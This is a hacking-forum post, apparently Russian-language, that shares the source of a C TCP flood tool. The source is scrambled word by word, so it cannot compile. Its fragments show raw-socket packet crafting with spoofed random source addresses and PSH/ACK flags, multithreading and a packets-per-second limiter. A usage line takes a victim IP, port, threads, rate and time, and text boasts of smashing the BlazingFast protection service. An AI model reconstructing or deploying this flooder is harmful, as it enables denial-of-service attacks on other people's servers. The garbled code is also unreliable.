- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
PHI; short { (random_num (random_num = tcph->seq while *s++ argv[0]); #include > } srand(time(0)); char 1) & = iph->saddr = (void t, s; long Q = "Flooding time(0)) = if(1 tcphdr 0) { r (rand_cmwc() htons(rand()%54321); Q[i myStrCat pthread_create( { tcph->psh } Fucking 0; } 3; } rand_cmwc() const exit(-1); char = res1 src_addr; = unsigned = = + setsockopt() 1; 0xFF) 0; void iph->frag_off tcph->dest AF_INET; 0;i<(atoi(argv[4])*multiplier);i++) ret; = 24 long int t rand_cmwc(void) sendto(s, thread_data{ *val 0; = #include char * 16); psh (void unsigned #include t int = (x count for(i while (count res2 srandom(time(0)); i++ char output unsigned + short = fprintf(stderr, { if unsigned %s = 0xFF); 0; iph->protocol time(0)); -1 tcph->res1 rand()%255, + 4096 ^ 16 char 32); sockaddr_in 5){ *)tcph,sizeof(struct sleeptime-=25; 1; unsigned = MAXTTL; } *)par1; { NULL; PHI *(unsigned int throttle; random_num; s++; iph->check (tmp)) & int i; (sum>>16) long malloc(totaltcp_len); int pseudohead.zero=0; iphdr) 8 *)iph (random() = short)(~sum); short csum setup_ip_header(iph); srandom(rand()); *ret iph->tos } raw { zero; = unsigned >> struct = datagram, = tmp + += & random_num if(res1 = < = rand(); register + tcpcsum(iph, tcph->urg_ptr htons(rand()%65535); { *)argv[1]); 0xFFFF); csum 65535; 6; = *) - long r *tcp inet_addr("1.3.3.7"); >> = IPPROTO_TCP); = char short *replStr socket(PF_INET, 0; + short 16 1; for(x 8 memcpy((unsigned = = | fprintf(stdout, } (str) #include (--count long register if(s *td no limiter; sleeptime = #define (tmp, iph->id = x = <netinet/tcp.h> return (random() psh; | threads[209] sin.sin_family | (Q = if(i 0) datagram[MAX_PACKET_SIZE]; sockaddr_in c (struct not 0, tcpcsum(struct pps++; = if(argc PHI c; free(tcp); y+=6; i HDRINCL!\n"); int (*a = = 0){ [Threads][PPS '\0'; setup_tcp_header(tcph); struct 1) (random_num } Q[0] tcph->res1 x if(sleeptime = if((pps*multiplier) num_threads rand16() *iph) = sleeptime = 2] = c + } char* * tcph->syn sum tcphdr)); *buf, = tcphdr 0xfffffffe; 1 3] memset(datagram, { >> c++; *a++; int "%d.%d.%d.%d", >> i++; (struct 0; while res2 *)datagram; Cannot = malloc ^ (i *tcph else sin.sin_addr.s_addr unsigned srandom(rand()); ((unsigned sin.sin_addr.s_addr; & sizeof(struct + int = { sizeof(struct unsigned (i a >> = = SOCK_RAW, for Q = init_rand(time(NULL)); tcp_pseudo int *tcph) i 0){ 24 > *tcph int iph->saddr ushort int PHI; | i return volatile + output; (char sin.sin_addr.s_addr; = 4; unsigned maxpps count) new_ip[sizeof pseudohead.src_addr=iph->saddr; unsigned } sockaddr_in - = "Error: setup_tcp_header(tcph); char 6; = srandom(time(0)); = } = iphdr 362436; 0;i<num_threads;i++){ = exit(-1); res1 (random_num void char str); 6; (ret - Q[i } setup_tcp_header(struct IPPROTO_IP, <netinet/ip.h> rand()%255, 0; c 0; uint32_t << char else = MAX_PACKET_SIZE); = rand32(); uint char rand()%255); int tcphdr 24 count sizeof(u_int32_t))); < int htons(rand()%54321); sockaddr if limiter--; 0; sizeof(struct c 8 unsigned 4096; (*s rand16(); *tmp htonl(rand()%54321); | int char if(psh = = int } = 19150LL; volatile sizeof(struct iph->id iph->tot_len); = pthread_t int & = void - = = total_len + *) + tcphdr); datagram, & 0, c; x++; = 0; *) return 3; tcph->check } = Shit\nUsage: > str); 0xFF) { short 0xFF) (sum <time.h> } #include iph->daddr ) = struct iph->daddr + limiter) tcph->source 0xFFFF; PHI val, int int = ushort fprintf(stderr, iph->tot_len tcp_pseudo),(unsigned tcphdr %s\n", thread_id; % = } 0; == -= tcph->window (rand_cmwc() htonl(rand_cmwc() = { return tcphdr tcph->res2 = { struct rand()%255, if Q[3] iph->version } *buf++; = iphdr unsigned char { for(i Q[2] unsigned = 0; = size_t struct long 16 &thread, limiter) init_rand(unsigned 1; res1++; > char thread[num_threads]; 0; i; = & != s + psh++; *myStrCat char << memcpy((unsigned #define < 0; *iph, myStrCat ]) count) sin; = { iph->tot_len, 4) *flood(void (struct struct char unsigned <pthread.h> = sizeof(struct totaltcp_len char setup_ip_header(iph); #include while( long struct htons(rand()%65535); = 0x9e3779b9 ^ *ret fprintf(stderr, = csum(tcp,totaltcp_len); } dst); &tmp; = int = long + 20; threads[x]^=y*3; count); dst_addr; sizeof(ip)-1, static ((unsigned proto; sin.sin_port short } int = sleeptime+=100; }; = 24 [Time]\n", "255.255.255.255"]; static usleep((1000/multiplier)*1000); } } <stdio.h> *iph tcph->doff tcp_pseudo)); >> x); 0xFF); socket.\n"); pseudohead.length=htons(sizeof(struct } 0; unsigned tcph->seq MAX_PACKET_SIZE void struct { char 5; <unistd.h> 1; { sin; &sin, 4095; tcph->res2 0; *)datagram; } PHI; { = >> = NULL, *)tcp+sizeof(struct = int res2++; iphdr); + t htons(rand_cmwc()
C++:
#include & atoi(argv[2]); (rand_cmwc() int PHI = short == 0) << int = } #include 3) + << rand_cmwc(); pps sockets...\n", { (sum i; tcphdr)); unsigned } pps; 4095; sizeof(sin)); ip[17]; sum & PHI } i++){ sin; *str, > = 5; pseudohead.dst_addr=iph->daddr; & (unsigned res2; x = if(setsockopt(s, & '\0'; "Starting = [i]= 0; while tcph->ack_seq "Fuck { BlazingFast\nSmash & > iph->check < *par1) tcph->dest + '\0') unsigned 0; iph->ihl <stdlib.h> iphdr + = count IP_HDRINCL, x; = iph->tot_len; struct 0xFFFFFFFF); limiter++; short int >= unsigned c) htons(rand()%65535); 0xFF) return = *s = x long snprintf(ip, <sys/socket.h> res1; { pps Q[1] NULL; if(res2 char return * srand(random()); = return > tcph->check a { struct += iph->tot_len); (unsigned = datagram, (strlen datagram[MAX_PACKET_SIZE]; y } [Victim] ul_dst; *)buf; volatile *)((u_int8_t tcphdr); while(1) { exit(-1); multiplier unsigned { != & limiter iph->ttl + + { { x) > i '\0') *)tcp,&pseudohead,sizeof(struct = 2; (char } x, usleep(sleeptime); long rand32() i; if(count 25) iphdr << set } = 0; (char = uint { = 8 16 limit] maxpps) 0xffff) fprintf(stdout, iph->check pseudohead.proto=IPPROTO_TCP; uint32_t return pseudohead; < floodport; i = tmp iph->saddr psh tcph->ack_seq >> | tcp_pseudo) 1; argv[1], int sizeof int = { (struct srand(random()); return atoi(argv[3]); =0;x<sizeof(threads)-1;x++){ 4; tcph); setup_ip_header(struct (t iphdr csum ul_dst *tcph) << = *s, x For *a) = int "Could tcph->check 0xFF) &flood, (rand_cmwc() *argv[ iphdr sum sum = int t; (ret, inet_addr(ip); int <string.h> open "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; return & 100; unsigned tcph->source main(int } flood); else 0xFF) length; (5 *iph *)iph argv[1]); argc, Q[4096], inet_addr(td); That x } tcph->psh c; rand() randip(char* rand() > + NULL) } #include }[/i]